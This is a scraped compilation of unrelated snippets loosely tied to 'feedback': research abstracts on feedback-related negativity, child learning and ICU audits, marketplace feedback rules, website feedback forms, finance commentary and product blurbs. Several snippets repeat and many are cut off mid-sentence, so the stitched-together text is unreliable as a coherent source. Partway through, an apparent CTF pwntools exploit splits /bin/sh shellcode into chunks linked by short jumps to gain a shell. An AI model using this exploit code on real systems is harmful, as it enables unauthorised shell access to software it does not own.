Prior research on performance feedback has focused on the direct impact of performance feedback on risk taking (Lim & McCann, 2013) and paid little attention to the role of contextual factors. In particular, there are few empirical studies that examine how performance feedback and institutions interplay in risk taking of organizations. This study aims to fill this gap by investigating the role of organization-level institutional logics and state-level institutions in a microfinance industry. Institutions arise as a result of human beings continuous efforts to deal with uncertain environments (North, 1990; Scott, 1995). Thus, individual and organizational actors are affected by institutions, and different institutions can be a source of heterogeneity of organizational behavior (Peng, 2003). This suggests that the impact of performance feedback on risk taking can be affected by institutional factors. And, microfinance industry provides a good setting to investigate this issue.

To clarify whether the FRN effect is more reflective of instantaneous or long-term values, it would be necessary to disentangle these two outcome aspects in a single task design. In prior research on the FRN effect, researchers have frequently used simple gambling or guessing tasks, during each trial of which participants can decide between two or more alternatives, leading either to a monetary favorable or unfavorable outcome (e.g., wins and losses; e.g., Mushtaq, Wilkie, Mon-Williams, & Schaefer, 2016; Mussel, Reiter, Osinsky, & Hewig, 2015; Liu, Nelson, Bernat, & Gehring, 2014; Cui, Chen, Wang, Shum, & Chan, 2013; Kreussel et al., 2012; Osinsky, Mussel, & Hewig, 2012; Carlson, Foti, Mujica-Parodi, Harmon-Jones, & Hajcak, 2011; Foti et al., 2011; Walsh & Anderson, 2011; Moser & Simons, 2009; Hajcak et al., 2006; Hajcak, Holroyd, Moser, & Simons, 2005; Holroyd, Larsen, & Cohen, 2004). With no other explicit instruction, the instantaneous value (loss = negative; win = positive) of an outcome in ...

How children learn from positive and negative performance feedback lies at the foundation of successful learning and is therefore of great importance for educational practice. In this study, we used functional magnetic resonance imaging (fMRI) to examine the neural developmental changes related to feedback-based learning when performing a rule search and application task. Behavioral results from three age groups (8-9, 11-13, and 18-25 years of age) demonstrated that, compared with adults, 8- to 9-year-old children performed disproportionally more inaccurately after receiving negative feedback relative to positive feedback. Additionally, imaging data pointed toward a qualitative difference in how children and adults use performance feedback. That is, dorsolateral prefrontal cortex and superior parietal cortex were more active after negative feedback for adults, but after positive feedback for children (8-9 years of age). For 11- to 13-year-olds, these regions did not show differential feedback ...

Motor learning can be monitored by observing the development of neural correlates of error processing. Among these neural correlates, the error- and feedback-related negativity (Ne/ERN and FRN) represent error processing mechanisms. While the Ne/ERN is more related to error prediction, the FRN is found after an error is manifested. The questions the current study strives to answer are: What information is needed by the system to make error predictions and how is this represented by the Ne/ERN and FRN in a complex motor task? We reduced the information and increased the difficulty level for the prediction in a semivirtual throwing task and found no Ne/ERN but a large FRN when the action result was finally observed (hitting or missing a target). We assume that uncertainty for error prediction was too high (either due to insufficient information or due to lacking prerequisites for prediction), such that error processing had to be mainly based on feedback. The finding is in line with the ...

This study evaluates the addition of a quality improvement toolbox to an online audit and feedback intervention in Dutch intensive care units. The toolbox comprises for each quality indicator (e.g., percentage of patients per shift whose pain is measured) a list of potential bottlenecks in the care process (e.g., staff is unaware of the prevailing guidelines for measuring pain every shift), associated recommendations for actions to solve mentioned bottlenecks (e.g., organize an educational training session), and supporting materials to facilitate implementation of the actions (e.g., a slide show presentation discussing the importance and relevance of measuring pain every shift). Half of the participating intensive care units will only receive online feedback, while the other half will additionally gain access to the integrated toolbox to facilitate planning and executing actions ...

In order to be successful, millennial leaders need regular, useful, and frequent feedback into their performance. Here are 5 reasons why thats so, according to one leadership consultant.

The aim of this study was to evaluate the compensatory effects of real-time auditory feedback on two proprioceptively deafferented subjects. The real-time auditory feedback was based on a movement sonification approach, consisting of translating some movement variables into synthetic sounds to make them audible. The two deafferented subjects and 16 age-matched control participants were asked to learn four new characters. The characters were learned under two different conditions, one without sonification and one with sonification, respecting a within-subject protocol. The results revealed that characters learned with sonification were reproduced more quickly and more fluently than characters learned without and that the effects of sonification were larger in deafferented than in control subjects. Secondly, whereas control subjects were able to learn the characters without sounds the deafferented subjects were able to learn them only when they were trained with sonification. Thirdly, although the

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In the literature a lot of articles about so-called feedback-based trading strategies, i.e., strategies that compute investment exclusively from their own gain exist. Price is therein treated as a disturbance variable in the technical application. With these strategies, astonishing results may be shown. However, the so-called price taker property is always assumed, that means that ones own trading does not affect the price, which is quite unrealistic. In the work at hand, an interactive and thus more realistic market model is introduced which is completely determined by the traders decisions. In this market model, distinct groups of traders can interact, e.g., feedback traders and noise traders, as they are considered to be relevant in economics in explaining real market prices. Furthermore, this interactive market model is a natural generalization of the geometric Brownian motion. Of course the model has to be bubble-prone to be realistic. The market model will be analyzed as well as the ...

In the literature a lot of articles about so-called feedback-based trading strategies, i.e., strategies that compute investment exclusively from their own gain exist. Price is therein treated as a disturbance variable in the technical application. With these strategies, astonishing results may be shown. However, the so-called price taker property is always assumed, that means that ones own trading does not affect the price, which is quite unrealistic. In the work at hand, an interactive and thus more realistic market model is introduced which is completely determined by the traders decisions. In this market model, distinct groups of traders can interact, e.g., feedback traders and noise traders, as they are considered to be relevant in economics in explaining real market prices. Furthermore, this interactive market model is a natural generalization of the geometric Brownian motion. Of course the model has to be bubble-prone to be realistic. The market model will be analyzed as well as the ...

For my study, I hired 2,700 workers online to transcribe receipts, randomly assigning a male or female name to a manager and randomly assigning which workers would receive performance feedback.. Results show that both women and men react more negatively to criticism if it comes from a woman. The subjects reported that criticism by a woman led to a larger reduction in job satisfaction than criticism by a man. Employees were also doubly disinterested in working for the company in the future if they had been criticized by a female boss.. Women in upper management are not simply being ignored. Workers hired for the transcription in our study actually spent slightly more time reading and thinking about feedback from female managers.. Nor can implicit biases explain why employees are less likely to take criticism well from women. While we found that workers in this study were, on average, more likely to subconsciously associate men with career and women with family, this tendency does not predict ...

Surveys offer performance feedback to teachers. By Suzanne Bouffard. Most teachers are accustomed to feedback from principals and coaches, but some have started hearing from the people who know them best: students. Last year, over a million K-12 students took surveys developed by educational services companies to rate how well their teachers teach, and many others took locally developed surveys. A growing number of states and districts allow the use of these surveys as part of teacher evaluation systems, and a few even require their use. For example, student surveys account for 5 percent of teachers evaluation scores in Memphis and for 15 percent in the Pittsburgh Public Schools. Continue ...

Surveys offer performance feedback to teachers. By Suzanne Bouffard. Most teachers are accustomed to feedback from principals and coaches, but some have started hearing from the people who know them best: students. Last year, over a million K-12 students took surveys developed by educational services companies to rate how well their teachers teach, and many others took locally developed surveys. A growing number of states and districts allow the use of these surveys as part of teacher evaluation systems, and a few even require their use. For example, student surveys account for 5 percent of teachers evaluation scores in Memphis and for 15 percent in the Pittsburgh Public Schools. Continue ...

A feedback-based adaptive network is described wherein at least a portion of the network elements report operating information relating to network conditions to a centralized data store. The information which is reported to the data store is analyzed by a policy engine which includes a plurality of application specific plug-in policies for analyzing selected information from the data store and for computing updated control information based upon the analysis of the information. The updated control information is fed back to selected network elements to thereby affect operation of the selected elements. Typically, when the operation of a network element has been affected, its corresponding operating information will change. The new or changed network element operating information is then reported to the data store and analyzed by the policy engine. The policy engine may then generate new or updated control information for affecting the operation of selected elements in the network. In this way, the

In addition to being a method for collecting student work, the dropbox of Desire2Learn (D2L) also lets teachers provide students with different types of feedback. This online video training demonstrates how to provide dropbox commentary, rubric-based scoring, and audio or video feedback without leaving the D2L dropbox, and also covers how to upload documents and files for dropbox access.

General definition of the skill Motivation is an internal state that activates, directs and maintains a persons behaviour towards certain goals or ends; it is the impulse that moves a person to perform certain actions and to persist in them until their completion. Motivation is what gives energy and direction to behaviour; it is the cause of behaviour. Motivation is a process that goes through several stages. Initially, a person anticipates that he/she will feel good (or stop feeling bad) if he/she achieves a goal. Next, he/she actively starts doing things to achieve that goal. As they move towards the goal, they will evaluate whether they are on the right track or not, i.e. he/she will give performance feedback. Lastly, they get to enjoy the fruit of their labour. Specific definition of the skill Employee motivation includes all actions that the company takes to positively influence their performance. The best possible result is to achieve a constant state of productivity as well as employees ...

The basic story is that selective fact extraction from text is a knowledge-engineering-intensive process. You need to determine which facts to extract, and then determine how to extract those particular kinds of facts. So Attensity has a better idea; it will extract all facts, not just some, and dump them in a fact relationship network (FRN). The FRN is two relational tables, one for facts and one for relationships, suitable for copying to a Teradata machine. Attensity calls this exhaustive extraction.. To some extent, exhaustive extraction amounts to what in the math biz is called restating the problem.. ...

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By Harrison Green ,hgarrereyn, from pwn import * # Found on shell-storm.org: # http://shell-storm.org/shellcode/files/shellcode-811.php # Shellcode (/bin/sh on 32 bit) # 08048060 ,_start,: # 8048060: 31 c0 xor %eax,%eax # 8048062: 50 push %eax # 8048063: 68 2f 2f 73 68 push $0x68732f2f # 8048068: 68 2f 62 69 6e push $0x6e69622f # 804806d: 89 e3 mov %esp,%ebx # 804806f: 89 c1 mov %eax,%ecx # 8048071: 89 c2 mov %eax,%edx # 8048073: b0 0b mov $0xb,%al # 8048075: cd 80 int $0x80 # 8048077: 31 c0 xor %eax,%eax # 8048079: 40 inc %eax # 804807a: cd 80 int $0x80 # Relative jump: # EB CB - where CB is a signed integer to be added to eip # Modified leapfrog shellocode with added short jumps: ### Name 1 # 31 c0 # 50 # 68 2f 2f 73 68 name1 = '\x31\xc0\x50\x68\x2f\x2f\x73\x68' + '\xeb\x0e' ### Name 2 # 68 2f 62 69 6e # 89 e3 # 89 c1 name2 = '\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1' + '\xeb\x0d' ### Name 3 # 89 c2 # b0 0b # cd 80 # 31 c0 name3 = ...

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Our federally qualified health care center serves over 7000 diabetic patients, many of whom are uninsured (43%) or on medicaid (18%) or medicare (26%). The population is 54% Latino, 25% Caucasian, and 14% African American. We excluded patients older than 75; those without English or Spanish as a first language; and the homeless. The remaining 5457 patients were randomized to this one-year study which ended January 1, 2009. One-half of the enrolled patients received quarterly mailed report cards on their HgA1c, blood pressure, and lipid performance. They were asked to pick from a list of self-management goals and to see their provider if their last visit was more than 2 months prior to the mailing. In a 2x2 design, our eight clinics were randomized to i) on-site printing of patient report cards or no on-site printing and ii) standard provider performance report cards or enhanced provider report cards. The standard provider report cards included data on provider performance on HgA1c, LDL, and ...

Downloadable! This study proposes a managerial accounting research design that bridges a gap between firm productivity based on frontier techniques and strategic management. In doing so, it operationalizes the theoretical frameworks based on the endogenous components of across-firms heterogeneous resources and routines, which are fundamental for firm performance. The design focuses on industry-level benchmarking to analyze changes in performance and organizational knowledge investments, and proposes some indicators for firm-level strategic benchmarking. An analysis of a twelve-years panel of the U.S. technology hardware and equipment industry illustrates the usefulness of the proposals. Findings reveal wider gaps between better and worse performers following economic distress. Increasing intangibles stocks is positively associated with changes in frontier benchmarking, while enhancing R&D spending is linked to frontier shifts. The discussion develops managerial interpretations suitable for control and

Response 1 of 2: Ask some trusted colleagues who have been around longer, and your career counselor, for advice on how to frame things. You are not alone in wondering how to handle reviews. And as a newbie, it isnt really rocket science, and the outcome may not vary too much. So dont stress too much.

In biological systems such as organisms, ecosystems, or the biosphere, most parameters must stay under control within a narrow range around a certain optimal level under certain environmental conditions. The deviation of the optimal value of the controlled parameter can result from the changes in internal and external environments. A change of some of the environmental conditions may also require change of that range to change for the system to function. The value of the parameter to maintain is recorded by a reception system and conveyed to a regulation module via an information channel. An example of this is insulin oscillations.. Biological systems contain many types of regulatory circuits, both positive and negative. As in other contexts, positive and negative do not imply that the feedback causes good or bad effects. A negative feedback loop is one that tends to slow down a process, whereas the positive feedback loop tends to accelerate it. The mirror neurons are part of a social feedback ...

Khabir Southwick is a traditional Naturopath, wholefood Nutritionist, Ayurvedic Practitioner, Master Herbalist who provides expert natural health-care services & herbal products in Ojai, Ventura, Oxnard, Santa Barbara, Los Angeles California.

We stationed ourselves outside downtown DCs Founding Farmers (1924 Pennsylvania Ave., NW; 202-822-8783), whose 40,000 owners-all members of the North Dakota Farmers Union-opened Georgetowns Agraria two years ago. What did diners think of the place, which offers everything from bacon...

Keeping the commoners happy is easy when you have pharmacology on your side. Complex caste systems exist throughout the animal kingdom, but is it purely social feedback that keeps us all in our places? Vergoz, Shreurs and Mercer report that a pheromone prevents worker honeybees from forming aversive associations while they serve the queen in a recent article in Science.. In the honeybee society, the females do all of the work. Young females attend to the queen and her hive. Later in life, they leave the hive to collect nectar and pollen (the average honeybee lifespan is 4-6 weeks). Queen mandibular pheromone (QMP), which is produced by the queen and transferred to the rest of the hive by her caretakers, prevents the ovarian development of other females.. Honeybees show both appetitive (positively reinforced) and aversive (negatively reinforced) learning. In response to odors, honeybees can be trained to extend their tongues in anticipation of a sweet reward or extend their stingers in ...

The guidelines and suggestions from these resources are summarized in the following list of effective evaluation practices:. 1. Clearly communicate evaluation criteria to supervisees and develop a mutually agreed upon written contract reflecting these criteria.. 2. Identify and communicate supervisee strengths and weaknesses. The Ethical Guidelines for Counsellor Supervisors (ACES, 1993) recommend that supervisors provide supervisees with ongoing feedback on their performance. This performance feedback establishes for supervisees a clear sense of what they do well and which skills need to be developed. Supervisee strengths and weaknesses can be evaluated in terms of process, conceptual, personal, and professional skills (Bernard R Goodyear, 1992, p. 42).. 3. Use constructive feedback techniques during evaluations. Supervisees are more likely to hear corrective feedback messages when these are preceded by positive feedback, focussed on observable behaviours, and are delayed until a positive ...

Background: An individuals current status of physical activity and nutrition and readiness to change can be determined using PACE assessment forms. Practitioners have suggested that feedback on the fitness and health components can produce a change in a subjects awareness of their behaviour and thereby lead to a beneficial change in stage of behaviour change. Objective: To evaluate the short term effect of personalised feedback on fitness and health status on self reported appraisal of the stage of change. Methods: A total of 299 civil servants were randomised to an intervention or a reference group. After having been tested for fitness and health, the intervention group received immediate feedback on their test results, whereas the reference group did not. PACE assessment forms were completed twice: before testing and after testing (reference group), or after testing and feedback (intervention group). The time interval between was one hour. The influence of feedback was determined using a x2 ...

SI Leaders serve as model learners of the subject and they also guide peers to work within a group. Student leaders benefit from the program because the process reinforces their own learning and skill in the subject area. SI leaders are trained in active learning, metacognition, informal assessment, classroom management, diversity and inclusion to name a few. SI leaders undergo multiple trainings every semester, along with frequent session observations, consultation feedback, and formal performance feedback evaluations. We are proud of our training, observation and feedback loop for our SI leaders. Our goal is to provide constant training, mentoring, skill and professional development for our leaders, so that they can best serve the students they support. To become a SI leader, students undergo an application, test teach, and group interview process ...

A bundled intervention comprising quality improvement (QI) training plus provider prompts, communication skills training, and performance feedback may improve h

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Tailored feedback was rated as more relevant, and was more likely to be shown to the GP than the generic feedback. Given that the tailored feedback included personalised risk factor information, it is not surprising that it was rated as more relevant. Almost two-thirds of participants given the tailored feedback indicated that they either showed the feedback to their GP or it gave them some ideas about what to ask the doctor, compared to less than half of those who received generic feedback. Anecdotally, the tailored feedback prompted a greater response from participants than the generic feedback, including several who were surprised by their recommended healthy weight, and one participant who commented that seeing her depression score prompted her to bring this up with her GP. However, participants did not rate the tailored feedback as any more likely to help them improve their health, or any easier to understand, than the generic feedback.. The type of feedback did not appear to influence ...

Background: Psychotherapy is successful for the majority of patients , but not for every patient. Hence, further knowledge is needed on how treatments should be adapted for those who do not profit or deteriorate. In the last years prediction tools as well as feedback interventions were part of a trend to more personalized approaches in psychotherapy. Research on psychometric prediction and feedback into ongoing treatment has the potential to enhance treatment outcomes, especially for patients with an increased risk of treatment failure or drop-out.rnMethods/design: The research project investigates in a randomized controlled trial the effectiveness as well as moderating and mediating factors of psychometric feedback to therapists. In the intended study a total of 423 patients, who applied for a cognitive-behavioral therapy at the psychotherapy clinic of the University Trier and suffer from a depressive and/or an anxietyrndisorder (SCID interviews), will be included. The patients will be randomly

To explore the neural correlates of reward processing when expected reward is a function of stimulus salience and value, we conducted a study that systematically manipulated these two dimensions while collecting EEGs from subjects instructed to harvest as much reward as possible. We found that for trials following low reward, feedback-locked ERP amplitudes were more negative in an early time window and more positive in a late window (Fig. 3). We interpret this ERP modulation as a manifestation of FRN, with the result similar to those of other feedback valence studies (Yasuda et al., 2004; Hajcak et al., 2005; Cohen et al., 2007), though the typical FRN is reported in terms of a difference in reward gains versus losses. In our experimental design, we ruled out the impact of penalty/loss and focused only on reward delivery and omission. This observation is also consistent with previous studies on the modulation of reward magnitude on feedback ERP components, which show more negative early ERP when ...

The latest report predicts the most likely Brexit outcome is a compromise deal whereby an agreement is reached on citizen rights, the Irish border and the financial settlement towards in autumn 2018 and the UK makes smaller contributions to the EU akin to what Switzerland pays.. However, the report considers no deal and a deal with ambitious policies alternative outcomes.. Within financial services, the report plays down the loss of passporting, arguing it represents less than 10 per cent of financial services, but says the loss of euro clearing is a bigger concern.. Head of investment communications Mitchell Fraser-Jones says the fund house finds the reports conclusions reassuring.. It reinforces our confidence that the portfolios are positioned appropriately for the long-term outcomes that are forecast, Fraser-Jones says.. Life sciences, for example, an important part of Woodfords portfolios, enjoy upside from post-Brexit deregulation under the reports base case scenario with the ...

Dear Developer,Kst has been downloaded and tested by Filecluster Labs on 29 Feb 2012 with todays best antivirus engines: BitDefender Antivirus, Kaspersky Antivirus, NOD32 and Avira Antivirus. The report shows that Kst has been found clean of any viruses or malware and has been flagged as safe to install. You can find the detailed antivirus scan reports at this page: http://www.filecluster.com/Antivirus-Report/Kst.html. (if the page isnt working, please allow between 5-30 mins for the cache to refresh) Please keep in mind that we will constantly scan your software with each version update or on-demand, if necessary. We have also displayed a clean award within FileCluster to assure our visitors that Kst is clean and safe to install.If you feel that this report could add value to your visitors as well, you can use any of the banners presented within the report page. Future development of this feature will depend on feedback, so any suggestions or general feedback are greatly appreciated. Also, ...

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Each time you buy or sell something, you have an opportunity to leave Feedback about your experience. That Feedback is an essential part of what makes eBay a successful community.. Feedback consists of a positive, negative, or neutral rating, along with a short comment. Buyers and sellers build reputations that are based on all the Feedback ratings and comments left by their trading partners.. This information is available in each members Feedback Profile, and helps prospective trading partners buy and sell with confidence.. More fast facts about Feedback: ...

This email is being directed in confidence to the Office Administrator to ensure your feedback or concerns are dealt with in a confidential and timely fashion by the appropriate party.. If your feedback / complaint relates to the actual manner in which the organization is led or managed by the Executive Director, then your feedback / complaint will be referred to the Board of Directors. Otherwise, your feedback / complaint will be referred to the appropriate Director or Manager within the organization who is responsible for the issue in question, and that person will follow up with you.. We appreciate your feedback.. ...

An App That Detects Dysmorphic Features, Reveals Related Traits and Discovers Relevant Genetic Disorders. Part of the FACE2GENE Suite.

Todays GDP range confirms that the Uk is witnessing a solid restoration. The release of pent up demand, as consumers return to retailers and restaurants, is major. Expenditure by firms is also picking up, now that there is better certainty above the outlook write-up covid and write-up Brexit. Whilst the outlook is good, the Financial institution of England has a challenge ahead, to keep on to help the recovery, even though also retaining a lid on inflation anticipations.. ...

Hi CT, I realize you work hard to answer all the questions here, and have provided valuable info for free. So it seems rather asinine to ask this, but Ill ask anyway: regarding the layer system, though there are many pockets of information available all over the training logs (particularly dave-gs) and by you here in the forums, it might be useful to have a single article outlining the entire methodology to help people to learn they system and also serve as a quick reference to those pract...

I received my samples today and I went ahead and took four of them even though today was an off day from working out (unable to wait until tomorrow)

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This is a big profile as he was during much of his career. The big thing, though, was a complete redefinition of how Green Lantern rings worked in DC Heroes. It wasnt easy, strewth ...

You know that user feedback is crucial - after all, **your users will decide whether your app succeeds or not** - but how do you know whether users are being fair and objective in their feedback? We can tell you: They wont be. All of your users will be giving you biased feedback. They cant help it.

All Bonanza Transactions Since feedback is optional, many transactions receive no feedback at all. This number reflects the total number of sales and purchases this user has completed on Bonanza, including transactions without feedback. ...

▷ What is Feedback? ✅ Why Customer Feedback is Important ✅ How to Attain Customer Feedback ✅ Conclusion ✅ Read more ➽

We welcome your feedback on anything related to the Toronto Chapter and will try to respond to all inquiries within two business days. To send your feedback, please complete the form below.. Please select the type and topic of your comment from the drop-down lists below: ...

While reviewing assignments, you can give feedback with in-line suggestions and margin comments. If you enter the same comment for many students, you can save time by adding it to the comment bank fo

DeployGate Enterprise is a plan for large organizations that can flexibly accommodate growing organizations. It was created based on feedback from IT personnel, who wanted to consolidate contracts and account management.

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Use the form below to send us your comments or report any problems you experienced finding information on our website. We read all feedback carefully, and will forward your feedback to the appropriate person who can assist you or fix any problems. Thank you.. ...

Use the form below to send us your comments or report any problems you experienced finding information on our website. We read all feedback carefully, and will forward your feedback to the appropriate person who can assist you or fix any problems. Thank you.. ...

The way for each of us to grow and improve is to receive specific feedback that identifies things we can do better and to hear specific, well thought-out recommendations. During the week of the DC program we will be spending time addressing how to give and receive feedback.. Below are a few points to keep in mind as you start your DC experience: ...

Feedback manipulation, which is any attempt to artificially increase your feedback score or lower another members, is not allowed.

Another week, another wave. This week it’s enterprise feedback management (EFM) software, as evaluated by Forrester. Gathering feedback isn’t always easy, whether it be from customers or e

We are continuously working to improve the site, and your feedback is essential. If youd like to leave feedback about your experience on the site, please select Overall Site from the dropdown below ...

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If you feel these release notes could be improved in any way, you can provide your feedback directly to the beat writers. There are several ways to provide feedback, in order of preference:. ...

If you feel these release notes could be improved in any way, you can provide your feedback directly to the beat writers. There are several ways to provide feedback, in order of preference:. ...